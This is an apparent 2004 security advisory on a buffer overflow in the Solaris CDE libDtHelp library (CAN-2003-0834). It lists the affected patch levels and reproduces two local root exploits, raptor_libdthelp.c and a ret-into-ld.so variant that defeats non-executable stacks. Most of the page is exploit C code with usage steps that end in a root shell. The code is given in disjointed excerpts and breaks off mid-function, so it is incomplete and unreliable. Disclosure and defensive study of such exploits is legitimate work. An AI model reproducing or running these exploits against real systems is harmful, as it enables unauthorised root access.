Buffer overflow in Solaris CDE libDtHelp (Executable and Non-Executable Stack)
26 Dec. 2004
Summary
A buffer overflow in CDE libDtHelp library allows local users to execute arbitrary code via a modified DTHELPUSERSEARCHPATH environment variable and the Help feature.
Vulnerable Systems:
* Solaris 7 without patch 107178-03
* Solaris 8 without patch 108949-08
* Solaris 9 without patch 116308-01
Exploit Code:
The first exploit code presented here (raptor_libdthelp.c) will exploit a system without user stack execution restriction. The second exploit targets systems with non executable user stack protection.
raptor_libdthelp.c
/*
* $Id: raptor_libdthelp.c,v 1.1 2004/12/04 14:44:38 raptor Exp $
*
* raptor_libdthelp.c - libDtHelp.so local, Solaris/SPARC 7/8/9
* Copyright (c) 2003-2004 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* Buffer overflow in CDE libDtHelp library allows local users to execute
* arbitrary code via a modified DTHELPUSERSEARCHPATH environment variable
* and the Help feature (CAN-2003-0834).
*
* Possible attack vectors are: DTHELPSEARCHPATH (as used in this exploit),
* DTHELPUSERSEARCHPATH, LOGNAME (those two require a slightly different
* exploitation technique, due to different code paths).
*
* Usage:
* $ gcc raptor_libdthelp.c -o raptor_libdthelp -Wall
* [on your xserver: disable the access control]
* $ ./raptor_libdthelp 192.168.1.1:0
* [on your xserver: enter the dtprintinfo help]
* # id
* uid=0(root) gid=1(other)
* #
*
* Vulnerable platforms:
* Solaris 7 without patch 107178-03 [tested]
* Solaris 8 without patch 108949-08 [tested]
* Solaris 9 without patch 116308-01 [tested]
*/
/* calculate the needed addresses */
ret = sb - offset + arg_len;
var1_addr += ret;
var2_addr += ret;
/* fill the evil buffer */
for (i = 17; i < BUFSIZE - 8; i += 4)
set_val(buf, i, var1_addr - 5000);
/* fill the evil env vars */
for (i = 0; i < VARSIZE - 8; i += 4)
set_val(var1, i, var2_addr - 500);
for (i = 0; i < VARSIZE - 8; i += 4)
set_val(var2, i, ret);
/* add the variable to envp */
env[env_pos] = string;
env_len += strlen(string) + 1;
env_pos++;
/* pad the envp using zeroes */
if ((strlen(string) + 1) % 4)
for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
env[env_pos] = string + strlen(string);
env_len++;
}
raptor_libdthelp2.c
/*
* $Id: raptor_libdthelp2.c,v 1.1 2004/12/04 14:44:38 raptor Exp $
*
* raptor_libdthelp2.c - libDtHelp.so local, Solaris/SPARC 7/8/9
* Copyright (c) 2003-2004 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* Buffer overflow in CDE libDtHelp library allows local users to execute
* arbitrary code via a modified DTHELPUSERSEARCHPATH environment variable
* and the Help feature (CAN-2003-0834).
*
* "Stay with non exec, it keeps you honest" -- Dave Aitel (0dd)
*
* Possible attack vectors are: DTHELPSEARCHPATH (as used in this exploit),
* DTHELPUSERSEARCHPATH, LOGNAME (those two require a slightly different
* exploitation technique, due to different code paths).
*
* This is the ret-into-ld.so version of raptor_libdthelp.c, able to bypass
* the non-executable stack protection (noexec_user_stack=1 in /etc/system).
*
* NOTE. If experiencing troubles with null-bytes inside the ld.so.1 memory
* space, use sprintf() instead of strcpy() (tested on some Solaris 7 boxes).
*
* Usage:
* $ gcc raptor_libdthelp2.c -o raptor_libdthelp2 -ldl -Wall
* [on your xserver: disable the access control]
* $ ./raptor_libdthelp2 192.168.1.1:0
* [on your xserver: enter the dtprintinfo help]
* # id
* uid=0(root) gid=1(other)
* #
*
* Vulnerable platforms:
* Solaris 7 without patch 107178-03 [tested]
* Solaris 8 without patch 108949-08 [tested]
* Solaris 9 without patch 116308-01 [tested]
*/
/* prototypes */
int add_env(char *string);
void check_zero(int addr, char *pattern);
int search_ldso(char *sym);
int search_rwx_mem(void);
void set_val(char *buf, int pos, int val);
/*
* main()
*/
int main(int argc, char **argv)
{
char buf[BUFSIZE], var1[VARSIZE], var2[VARSIZE], ff[FFSIZE];
char platform[256], release[256], display[256];
int i, offset, ff_addr, sc_addr, var1_addr, var2_addr;
int plat_len, prog_len, rel;
/* set fake frame's %i1 */
set_val(ff, 36, sc_addr); /* 2nd arg to strcpy() */
/* fill the evil buffer */
for (i = 17; i < BUFSIZE - 76; i += 4)
set_val(buf, i, var1_addr - 5000);
/* apparently, we don't need to bruteforce */
set_val(buf, i, ff_addr);
set_val(buf, i += 4, ret - 4); /* strcpy(), after the save */
/* fill the evil env vars */
for (i = 0; i < VARSIZE - 8; i += 4)
set_val(var1, i, var2_addr - 500);
for (i = 0; i < VARSIZE - 8; i += 4)
set_val(var2, i, ret - 8); /* ret, before strcpy() */
/* add the variable to envp */
env[env_pos] = string;
env_len += strlen(string) + 1;
env_pos++;
/* pad the envp using zeroes */
if ((strlen(string) + 1) % 4)
for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
env[env_pos] = string + strlen(string);
env_len++;
}
return(env_len);
}
/*
* check_zero(): check an address for the presence of a 0x00
*/
void check_zero(int addr, char *pattern)
{
if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
!(addr & 0xff000000)) {
fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
exit(1);
}
}
/*
* search_ldso(): search for a symbol inside ld.so.1
*/
int search_ldso(char *sym)
{
int addr;
void *handle;
Link_map *lm;
/* open the executable object file */
if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
perror("dlopen");
exit(1);
}
/* get dynamic load information */
if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
perror("dlinfo");
exit(1);
}
/* search for the address of the symbol */
if ((addr = (int)dlsym(handle, sym)) == NULL) {
fprintf(stderr, "sorry, function %s() not found\n", sym);
exit(1);
}
/* close the executable object file */
dlclose(handle);
check_zero(addr - 4, sym);
check_zero(addr - 8, sym); /* addr - 8 is the ret before strcpy() */
return(addr);
}
/*
* search_rwx_mem(): search for an RWX memory segment valid for all
* programs (typically, /usr/lib/ld.so.1) using the proc filesystem
*/
int search_rwx_mem(void)
{
int fd;
char tmp[16];
prmap_t map;
int addr = 0, addr_old;
/* open the proc filesystem */
sprintf(tmp,"/proc/%d/map", (int)getpid());
if ((fd = open(tmp, O_RDONLY)) < 0) {
fprintf(stderr, "can't open %s\n", tmp);
exit(1);
}
/* search for the last RWX memory segment before stack (last - 1) */
while (read(fd, &map, sizeof(map)))
if (map.pr_vaddr)
if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
addr_old = addr;
addr = map.pr_vaddr;
}
close(fd);
/* add 4 to the exact address NULL bytes */
if (!(addr_old & 0xff))
addr_old |= 0x04;
if (!(addr_old & 0xff00))
addr_old |= 0x0400;
